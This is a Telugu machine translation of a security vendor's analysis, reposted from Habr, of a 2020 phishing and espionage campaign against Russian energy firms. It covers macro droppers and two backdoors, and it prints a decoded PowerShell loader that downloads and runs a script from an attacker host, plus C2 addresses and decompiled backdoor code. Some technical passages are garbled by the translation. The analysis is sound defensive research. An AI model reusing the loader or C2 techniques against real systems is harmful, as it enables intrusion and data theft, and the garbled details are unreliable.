మేము రష్యన్ ఇంధనం మరియు శక్తి కాంప్లెక్స్‌పై లక్ష్యంగా చేసుకున్న గూఢచర్యం దాడిని పరిశీలిస్తున్నాము

మేము రష్యన్ ఇంధనం మరియు శక్తి కాంప్లెక్స్‌పై లక్ష్యంగా చేసుకున్న గూఢచర్యం దాడిని పరిశీలిస్తున్నాము

కంప్యూటర్ భద్రతా సంఘటనలను పరిశోధించడంలో మా అనుభవం, దాడికి గురైన నెట్‌వర్క్ ఇన్‌ఫ్రాస్ట్రక్చర్‌లలోకి ప్రవేశించడానికి దాడి చేసేవారు ఉపయోగించే అత్యంత సాధారణ ఛానెల్‌లలో ఇమెయిల్ ఇప్పటికీ ఒకటి. అనుమానాస్పద (లేదా అంతగా అనుమానాస్పదంగా లేని) లేఖతో ఒక అజాగ్రత్త చర్య తదుపరి ఇన్‌ఫెక్షన్‌కు ఎంట్రీ పాయింట్‌గా మారుతుంది, అందుకే సైబర్ నేరస్థులు సామాజిక ఇంజనీరింగ్ పద్ధతులను చురుకుగా ఉపయోగిస్తున్నారు, అయినప్పటికీ వివిధ స్థాయిలలో విజయం సాధించారు.

ఈ పోస్ట్‌లో మేము రష్యన్ ఇంధనం మరియు ఇంధన సముదాయంలోని అనేక సంస్థలను లక్ష్యంగా చేసుకున్న స్పామ్ ప్రచారంపై మా ఇటీవలి పరిశోధన గురించి మాట్లాడాలనుకుంటున్నాము. అన్ని దాడులు నకిలీ ఇమెయిల్‌లను ఉపయోగించి అదే దృష్టాంతాన్ని అనుసరించాయి మరియు ఈ ఇమెయిల్‌ల వచన కంటెంట్‌పై ఎవరూ పెద్దగా కృషి చేసినట్లు కనిపించలేదు.

ఇంటెలిజెన్స్ సర్వీస్

రష్యన్ ఇంధనం మరియు ఇంధన సముదాయంలోని అనేక సంస్థల ఉద్యోగులకు హ్యాకర్లు అప్‌డేట్ చేయబడిన టెలిఫోన్ డైరెక్టరీని పంపిన స్పామ్ ప్రచారాన్ని డాక్టర్ వెబ్ వైరస్ విశ్లేషకులు గుర్తించినప్పుడు ఇదంతా ఏప్రిల్ 2020 చివరిలో ప్రారంభమైంది. వాస్తవానికి, ఇది సాధారణ ఆందోళన కాదు, ఎందుకంటే డైరెక్టరీ నిజమైనది కాదు మరియు .docx పత్రాలు రిమోట్ వనరుల నుండి రెండు చిత్రాలను డౌన్‌లోడ్ చేశాయి.

వాటిలో ఒకటి వార్తలు[.]zannews[.]com సర్వర్ నుండి వినియోగదారు కంప్యూటర్‌కు డౌన్‌లోడ్ చేయబడింది. డొమైన్ పేరు కజకిస్తాన్ అవినీతి నిరోధక మీడియా సెంటర్ డొమైన్‌ను పోలి ఉండటం గమనార్హం - zannews[.]kz. మరోవైపు, ఉపయోగించిన డొమైన్ వెంటనే TOPNEWS అని పిలువబడే మరొక 2015 ప్రచారాన్ని గుర్తుకు తెచ్చింది, ఇది ICEFOG బ్యాక్‌డోర్‌ను ఉపయోగించింది మరియు వారి పేర్లలో "వార్తలు" అనే సబ్‌స్ట్రింగ్‌తో ట్రోజన్ నియంత్రణ డొమైన్‌లను కలిగి ఉంది. మరొక ఆసక్తికరమైన ఫీచర్ ఏమిటంటే, వివిధ గ్రహీతలకు ఇమెయిల్‌లను పంపేటప్పుడు, చిత్రాన్ని డౌన్‌లోడ్ చేయమని అభ్యర్థనలు వేర్వేరు అభ్యర్థన పారామీటర్‌లు లేదా ప్రత్యేకమైన ఇమేజ్ పేర్లను ఉపయోగించాయి.

"విశ్వసనీయ" చిరునామాదారుని గుర్తించడానికి సమాచారాన్ని సేకరించే ఉద్దేశ్యంతో ఇది జరిగిందని మేము విశ్వసిస్తున్నాము, ఆ తర్వాత లేఖను సరైన సమయంలో తెరవడానికి హామీ ఇవ్వబడుతుంది. రెండవ సర్వర్ నుండి చిత్రాన్ని డౌన్‌లోడ్ చేయడానికి SMB ప్రోటోకాల్ ఉపయోగించబడింది, ఇది అందుకున్న పత్రాన్ని తెరిచిన ఉద్యోగుల కంప్యూటర్‌ల నుండి NetNTLM హ్యాష్‌లను సేకరించడానికి చేయవచ్చు.

మరియు నకిలీ డైరెక్టరీతో ఉన్న లేఖ ఇక్కడ ఉంది:

మేము రష్యన్ ఇంధనం మరియు శక్తి కాంప్లెక్స్‌పై లక్ష్యంగా చేసుకున్న గూఢచర్యం దాడిని పరిశీలిస్తున్నాము

ఈ సంవత్సరం జూన్‌లో, చిత్రాలను అప్‌లోడ్ చేయడానికి హ్యాకర్లు కొత్త డొమైన్ పేరు, స్పోర్ట్స్[.]manhajnews[.]comని ఉపయోగించడం ప్రారంభించారు. కనీసం సెప్టెంబర్ 2019 నుండి స్పామ్ మెయిలింగ్‌లలో manhajnews[.]com సబ్‌డొమైన్‌లు ఉపయోగించబడుతున్నాయని విశ్లేషణలో తేలింది. ఈ ప్రచారం యొక్క లక్ష్యాలలో ఒకటి పెద్ద రష్యన్ విశ్వవిద్యాలయం.

అలాగే, జూన్ నాటికి, దాడి నిర్వాహకులు వారి లేఖలకు కొత్త వచనాన్ని అందించారు: ఈసారి పత్రంలో పరిశ్రమ అభివృద్ధి గురించి సమాచారం ఉంది. లేఖ యొక్క వచనం దాని రచయిత రష్యన్ స్థానిక మాట్లాడేవాడు కాదని లేదా ఉద్దేశపూర్వకంగా తన గురించి అలాంటి అభిప్రాయాన్ని సృష్టిస్తున్నాడని స్పష్టంగా సూచించింది. దురదృష్టవశాత్తు, పరిశ్రమ అభివృద్ధి ఆలోచనలు, ఎప్పటిలాగే, కేవలం కవర్‌గా మారాయి - పత్రం మళ్లీ రెండు చిత్రాలను డౌన్‌లోడ్ చేసింది, అయితే సర్వర్ డౌన్‌లోడ్[.]ఇంక్లింగ్‌పేపర్[.]comకి మార్చబడింది.

తదుపరి ఆవిష్కరణ జూలైలో జరిగింది. యాంటీవైరస్ ప్రోగ్రామ్‌ల ద్వారా హానికరమైన పత్రాలను గుర్తించడాన్ని దాటవేసే ప్రయత్నంలో, దాడి చేసేవారు పాస్‌వర్డ్‌తో గుప్తీకరించిన Microsoft Word పత్రాలను ఉపయోగించడం ప్రారంభించారు. అదే సమయంలో, దాడి చేసేవారు క్లాసిక్ సోషల్ ఇంజనీరింగ్ టెక్నిక్‌ని ఉపయోగించాలని నిర్ణయించుకున్నారు - రివార్డ్ నోటిఫికేషన్.

మేము రష్యన్ ఇంధనం మరియు శక్తి కాంప్లెక్స్‌పై లక్ష్యంగా చేసుకున్న గూఢచర్యం దాడిని పరిశీలిస్తున్నాము

అప్పీల్ యొక్క వచనం మళ్లీ అదే శైలిలో వ్రాయబడింది, ఇది చిరునామాదారుడిలో అదనపు అనుమానాన్ని రేకెత్తించింది. చిత్రాన్ని డౌన్‌లోడ్ చేయడానికి సర్వర్ కూడా మారలేదు.

అన్ని సందర్భాల్లో, మెయిల్[.]ru మరియు yandex[.]ru డొమైన్‌లలో నమోదు చేయబడిన ఎలక్ట్రానిక్ మెయిల్‌బాక్స్‌లు లేఖలను పంపడానికి ఉపయోగించబడుతున్నాయని గమనించండి.

దాడి

సెప్టెంబర్ 2020 ప్రారంభంలో, ఇది చర్యకు సమయం. మా వైరస్ విశ్లేషకులు కొత్త దాడులను రికార్డ్ చేసారు, దీనిలో దాడి చేసేవారు టెలిఫోన్ డైరెక్టరీని నవీకరించే నెపంతో మళ్లీ లేఖలు పంపారు. అయితే, ఈసారి అటాచ్‌మెంట్‌లో హానికరమైన మాక్రో ఉంది.

జోడించిన పత్రాన్ని తెరిచినప్పుడు, మాక్రో రెండు ఫైల్‌లను సృష్టించింది:

  • VBS స్క్రిప్ట్ %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, ఇది బ్యాచ్ ఫైల్‌ను ప్రారంభించేందుకు ఉద్దేశించబడింది;
  • బ్యాచ్ ఫైల్ %APPDATA%configstest.bat, ఇది అస్పష్టంగా ఉంది.

మేము రష్యన్ ఇంధనం మరియు శక్తి కాంప్లెక్స్‌పై లక్ష్యంగా చేసుకున్న గూఢచర్యం దాడిని పరిశీలిస్తున్నాము

దాని పని యొక్క సారాంశం కొన్ని పారామితులతో పవర్‌షెల్ షెల్‌ను ప్రారంభించడం వరకు వస్తుంది. షెల్‌కు పంపబడిన పారామితులు కమాండ్‌లుగా డీకోడ్ చేయబడతాయి:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

అందించిన ఆదేశాల నుండి క్రింది విధంగా, పేలోడ్ డౌన్‌లోడ్ చేయబడిన డొమైన్ మళ్లీ వార్తల సైట్‌గా మారువేషంలో ఉంటుంది. ఒక సాధారణ లోడర్, దీని ఏకైక పని కమాండ్ మరియు కంట్రోల్ సర్వర్ నుండి షెల్‌కోడ్‌ను స్వీకరించడం మరియు దానిని అమలు చేయడం. బాధితుని PCలో ఇన్‌స్టాల్ చేయగల రెండు రకాల బ్యాక్‌డోర్‌లను మేము గుర్తించగలిగాము.

బ్యాక్‌డోర్.సిగ్గెన్2.3238

మొదటిది బ్యాక్‌డోర్.సిగ్గెన్2.3238 — మా నిపుణులు ఇంతకు ముందు ఎదుర్కోలేదు మరియు ఇతర యాంటీవైరస్ విక్రేతలచే ఈ ప్రోగ్రామ్ గురించి ప్రస్తావించబడలేదు.

ఈ ప్రోగ్రామ్ C++లో వ్రాయబడిన బ్యాక్‌డోర్ మరియు 32-బిట్ విండోస్ ఆపరేటింగ్ సిస్టమ్‌లో రన్ అవుతుంది.

బ్యాక్‌డోర్.సిగ్గెన్2.3238 రెండు ప్రోటోకాల్‌లను ఉపయోగించి నిర్వహణ సర్వర్‌తో కమ్యూనికేట్ చేయగలదు: HTTP మరియు HTTPS. పరీక్షించిన నమూనా HTTPS ప్రోటోకాల్‌ను ఉపయోగిస్తుంది. సర్వర్‌కు అభ్యర్థనలలో కింది వినియోగదారు ఏజెంట్ ఉపయోగించబడుతుంది:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

ఈ సందర్భంలో, అన్ని అభ్యర్థనలు క్రింది పారామితుల సెట్‌తో అందించబడతాయి:

%s;type=%s;length=%s;realdata=%send

ఇక్కడ ప్రతి పంక్తి %s తదనుగుణంగా భర్తీ చేయబడుతుంది:

  • సోకిన కంప్యూటర్ యొక్క ID,
  • పంపబడే అభ్యర్థన రకం,
  • రియల్‌డేటా ఫీల్డ్‌లోని డేటా పొడవు,
  • సమాచారం.

సోకిన సిస్టమ్ గురించి సమాచారాన్ని సేకరించే దశలో, బ్యాక్‌డోర్ ఇలా లైన్‌ను రూపొందిస్తుంది:

lan=%s;cmpname=%s;username=%s;version=%s;

ఇక్కడ lan అనేది సోకిన కంప్యూటర్ యొక్క IP చిరునామా, cmp పేరు కంప్యూటర్ పేరు, వినియోగదారు పేరు వినియోగదారు పేరు, సంస్కరణ పంక్తి 0.0.4.03.

sysinfo ఐడెంటిఫైయర్‌తో కూడిన ఈ సమాచారం POST అభ్యర్థన ద్వారా https[:]//31.214[.]157.14/log.txt వద్ద ఉన్న కంట్రోల్ సర్వర్‌కు పంపబడుతుంది. ప్రతిస్పందనగా ఉంటే బ్యాక్‌డోర్.సిగ్గెన్2.3238 HEART సిగ్నల్‌ను అందుకుంటుంది, కనెక్షన్ విజయవంతంగా పరిగణించబడుతుంది మరియు బ్యాక్‌డోర్ సర్వర్‌తో కమ్యూనికేషన్ యొక్క ప్రధాన చక్రాన్ని ప్రారంభిస్తుంది.

ఆపరేటింగ్ సూత్రాల మరింత పూర్తి వివరణ బ్యాక్‌డోర్.సిగ్గెన్2.3238 మనలో ఉంది వైరస్ లైబ్రరీ.

బ్యాక్‌డోర్.వైట్‌బర్డ్.23

రెండవ కార్యక్రమం బ్యాక్‌డోర్.వైట్‌బర్డ్ బ్యాక్‌డోర్ యొక్క మార్పు, ఇది కజకిస్తాన్‌లోని ప్రభుత్వ ఏజెన్సీతో జరిగిన సంఘటన నుండి ఇప్పటికే మనకు తెలుసు. ఈ సంస్కరణ C++లో వ్రాయబడింది మరియు 32-bit మరియు 64-bit Windows ఆపరేటింగ్ సిస్టమ్‌లలో అమలు చేయడానికి రూపొందించబడింది.

ఈ రకమైన చాలా ప్రోగ్రామ్‌ల వలె, బ్యాక్‌డోర్.వైట్‌బర్డ్.23 కంట్రోల్ సర్వర్‌తో ఎన్‌క్రిప్టెడ్ కనెక్షన్‌ని ఏర్పాటు చేయడానికి మరియు సోకిన కంప్యూటర్ యొక్క అనధికార నియంత్రణను ఏర్పాటు చేయడానికి రూపొందించబడింది. డ్రాపర్‌ని ఉపయోగించి రాజీపడిన సిస్టమ్‌లో ఇన్‌స్టాల్ చేయబడింది బ్యాక్‌డోర్.సిగ్గెన్2.3244.

మేము పరిశీలించిన నమూనా రెండు ఎగుమతులు కలిగిన హానికరమైన లైబ్రరీ:

  • Google Play
  • టెస్ట్.

దాని పని ప్రారంభంలో, ఇది బైట్ 0x99తో XOR ఆపరేషన్ ఆధారంగా అల్గోరిథం ఉపయోగించి బ్యాక్‌డోర్ బాడీలోకి హార్డ్‌వైర్డ్ చేసిన కాన్ఫిగరేషన్‌ను డీక్రిప్ట్ చేస్తుంది. కాన్ఫిగరేషన్ ఇలా కనిపిస్తుంది:


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

దాని స్థిరమైన ఆపరేషన్ను నిర్ధారించడానికి, బ్యాక్‌డోర్ ఫీల్డ్‌లో పేర్కొన్న విలువను మారుస్తుంది పని గంటలు ఆకృతీకరణలు. ఫీల్డ్ 1440 బైట్‌లను కలిగి ఉంది, ఇవి 0 లేదా 1 విలువలను తీసుకుంటాయి మరియు రోజులోని ప్రతి గంటలోని ప్రతి నిమిషాన్ని సూచిస్తాయి. ప్రతి నెట్‌వర్క్ ఇంటర్‌ఫేస్ కోసం ప్రత్యేక థ్రెడ్‌ను సృష్టిస్తుంది, అది ఇంటర్‌ఫేస్‌ను వింటుంది మరియు సోకిన కంప్యూటర్ నుండి ప్రాక్సీ సర్వర్‌లో అధికార ప్యాకెట్‌ల కోసం చూస్తుంది. అటువంటి ప్యాకెట్ గుర్తించబడినప్పుడు, బ్యాక్‌డోర్ దాని జాబితాకు ప్రాక్సీ సర్వర్ గురించిన సమాచారాన్ని జోడిస్తుంది. అదనంగా, WinAPI ద్వారా ప్రాక్సీ ఉనికిని తనిఖీ చేస్తుంది InternetQueryOptionW.

ప్రోగ్రామ్ ప్రస్తుత నిమిషం మరియు గంటను తనిఖీ చేస్తుంది మరియు ఫీల్డ్‌లోని డేటాతో పోల్చి చూస్తుంది పని గంటలు ఆకృతీకరణలు. రోజులోని సంబంధిత నిమిషానికి విలువ సున్నా కాకపోతే, నియంత్రణ సర్వర్‌తో కనెక్షన్ ఏర్పాటు చేయబడుతుంది.

సర్వర్‌కు కనెక్షన్‌ని ఏర్పరచడం అనేది క్లయింట్ మరియు సర్వర్ మధ్య TLS వెర్షన్ 1.0 ప్రోటోకాల్‌ను ఉపయోగించి కనెక్షన్ యొక్క సృష్టిని అనుకరిస్తుంది. బ్యాక్‌డోర్ యొక్క శరీరం రెండు బఫర్‌లను కలిగి ఉంటుంది.

మొదటి బఫర్ TLS 1.0 క్లయింట్ హలో ప్యాకెట్‌ను కలిగి ఉంది.

మేము రష్యన్ ఇంధనం మరియు శక్తి కాంప్లెక్స్‌పై లక్ష్యంగా చేసుకున్న గూఢచర్యం దాడిని పరిశీలిస్తున్నాము

రెండవ బఫర్ 1.0x0 బైట్‌ల కీ పొడవుతో TLS 100 క్లయింట్ కీ ఎక్స్ఛేంజ్ ప్యాకెట్‌లను కలిగి ఉంది, సైఫర్ స్పెక్‌ను మార్చండి, ఎన్‌క్రిప్టెడ్ హ్యాండ్‌షేక్ మెసేజ్.

మేము రష్యన్ ఇంధనం మరియు శక్తి కాంప్లెక్స్‌పై లక్ష్యంగా చేసుకున్న గూఢచర్యం దాడిని పరిశీలిస్తున్నాము

క్లయింట్ హలో ప్యాకెట్‌ను పంపుతున్నప్పుడు, బ్యాక్‌డోర్ ప్రస్తుత సమయం యొక్క 4 బైట్‌లను మరియు క్లయింట్ రాండమ్ ఫీల్డ్‌లో 28 బైట్‌ల సూడో-రాండమ్ డేటాను ఈ క్రింది విధంగా గణించబడుతుంది:


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

అందుకున్న ప్యాకెట్ నియంత్రణ సర్వర్‌కు పంపబడుతుంది. ప్రతిస్పందన (సర్వర్ హలో ప్యాకెట్) తనిఖీ చేస్తుంది:

  • TLS ప్రోటోకాల్ వెర్షన్ 1.0కి అనుగుణంగా;
  • సర్వర్ పేర్కొన్న టైమ్‌స్టాంప్‌కు క్లయింట్ ద్వారా పేర్కొన్న టైమ్‌స్టాంప్ (రాండమ్ డేటా ప్యాకెట్ ఫీల్డ్ యొక్క మొదటి 4 బైట్‌లు) అనురూప్యం;
  • క్లయింట్ మరియు సర్వర్ యొక్క రాండమ్ డేటా ఫీల్డ్‌లో టైమ్‌స్టాంప్ తర్వాత మొదటి 4 బైట్‌ల మ్యాచ్.

పేర్కొన్న మ్యాచ్‌ల విషయంలో, బ్యాక్‌డోర్ క్లయింట్ కీ ఎక్స్ఛేంజ్ ప్యాకెట్‌ను సిద్ధం చేస్తుంది. దీన్ని చేయడానికి, ఇది క్లయింట్ కీ ఎక్స్ఛేంజ్ ప్యాకేజీలోని పబ్లిక్ కీని అలాగే ఎన్‌క్రిప్ట్ చేయబడిన హ్యాండ్‌షేక్ మెసేజ్ ప్యాకేజీలోని ఎన్‌క్రిప్షన్ IV మరియు ఎన్‌క్రిప్షన్ డేటాను సవరిస్తుంది.

బ్యాక్‌డోర్ కమాండ్ మరియు కంట్రోల్ సర్వర్ నుండి ప్యాకెట్‌ను అందుకుంటుంది, TLS ప్రోటోకాల్ వెర్షన్ 1.0 అని తనిఖీ చేస్తుంది, ఆపై మరో 54 బైట్‌లను (ప్యాకెట్ యొక్క బాడీ) అంగీకరిస్తుంది. ఇది కనెక్షన్ సెటప్‌ను పూర్తి చేస్తుంది.

ఆపరేటింగ్ సూత్రాల మరింత పూర్తి వివరణ బ్యాక్‌డోర్.వైట్‌బర్డ్.23 మనలో ఉంది వైరస్ లైబ్రరీ.

ముగింపు మరియు ముగింపులు

డాక్యుమెంట్‌లు, మాల్వేర్ మరియు ఉపయోగించిన మౌలిక సదుపాయాల విశ్లేషణ చైనీస్ APT గ్రూప్‌లలో ఒకదాని ద్వారా దాడిని సిద్ధం చేసిందని విశ్వాసంతో చెప్పడానికి అనుమతిస్తుంది. విజయవంతమైన దాడి జరిగినప్పుడు బాధితుల కంప్యూటర్‌లలో ఇన్‌స్టాల్ చేయబడిన బ్యాక్‌డోర్‌ల కార్యాచరణను పరిగణనలోకి తీసుకుంటే, ఇన్‌ఫెక్షన్ కనీసం దాడికి గురైన సంస్థల కంప్యూటర్‌ల నుండి రహస్య సమాచారాన్ని దొంగిలించడానికి దారితీస్తుంది.

అదనంగా, ప్రత్యేక ఫంక్షన్‌తో స్థానిక సర్వర్‌లలో ప్రత్యేకమైన ట్రోజన్‌లను ఇన్‌స్టాల్ చేయడం చాలా సంభావ్య దృష్టాంతం. ఇవి డొమైన్ కంట్రోలర్‌లు, మెయిల్ సర్వర్లు, ఇంటర్నెట్ గేట్‌వేలు మొదలైనవి కావచ్చు. మనం ఉదాహరణలో చూడవచ్చు కజకిస్థాన్‌లో జరిగిన సంఘటన, ఇటువంటి సర్వర్లు వివిధ కారణాల వల్ల దాడి చేసేవారికి ప్రత్యేక ఆసక్తిని కలిగి ఉంటాయి.

మూలం: www.habr.com

ఒక వ్యాఖ్యను జోడించండి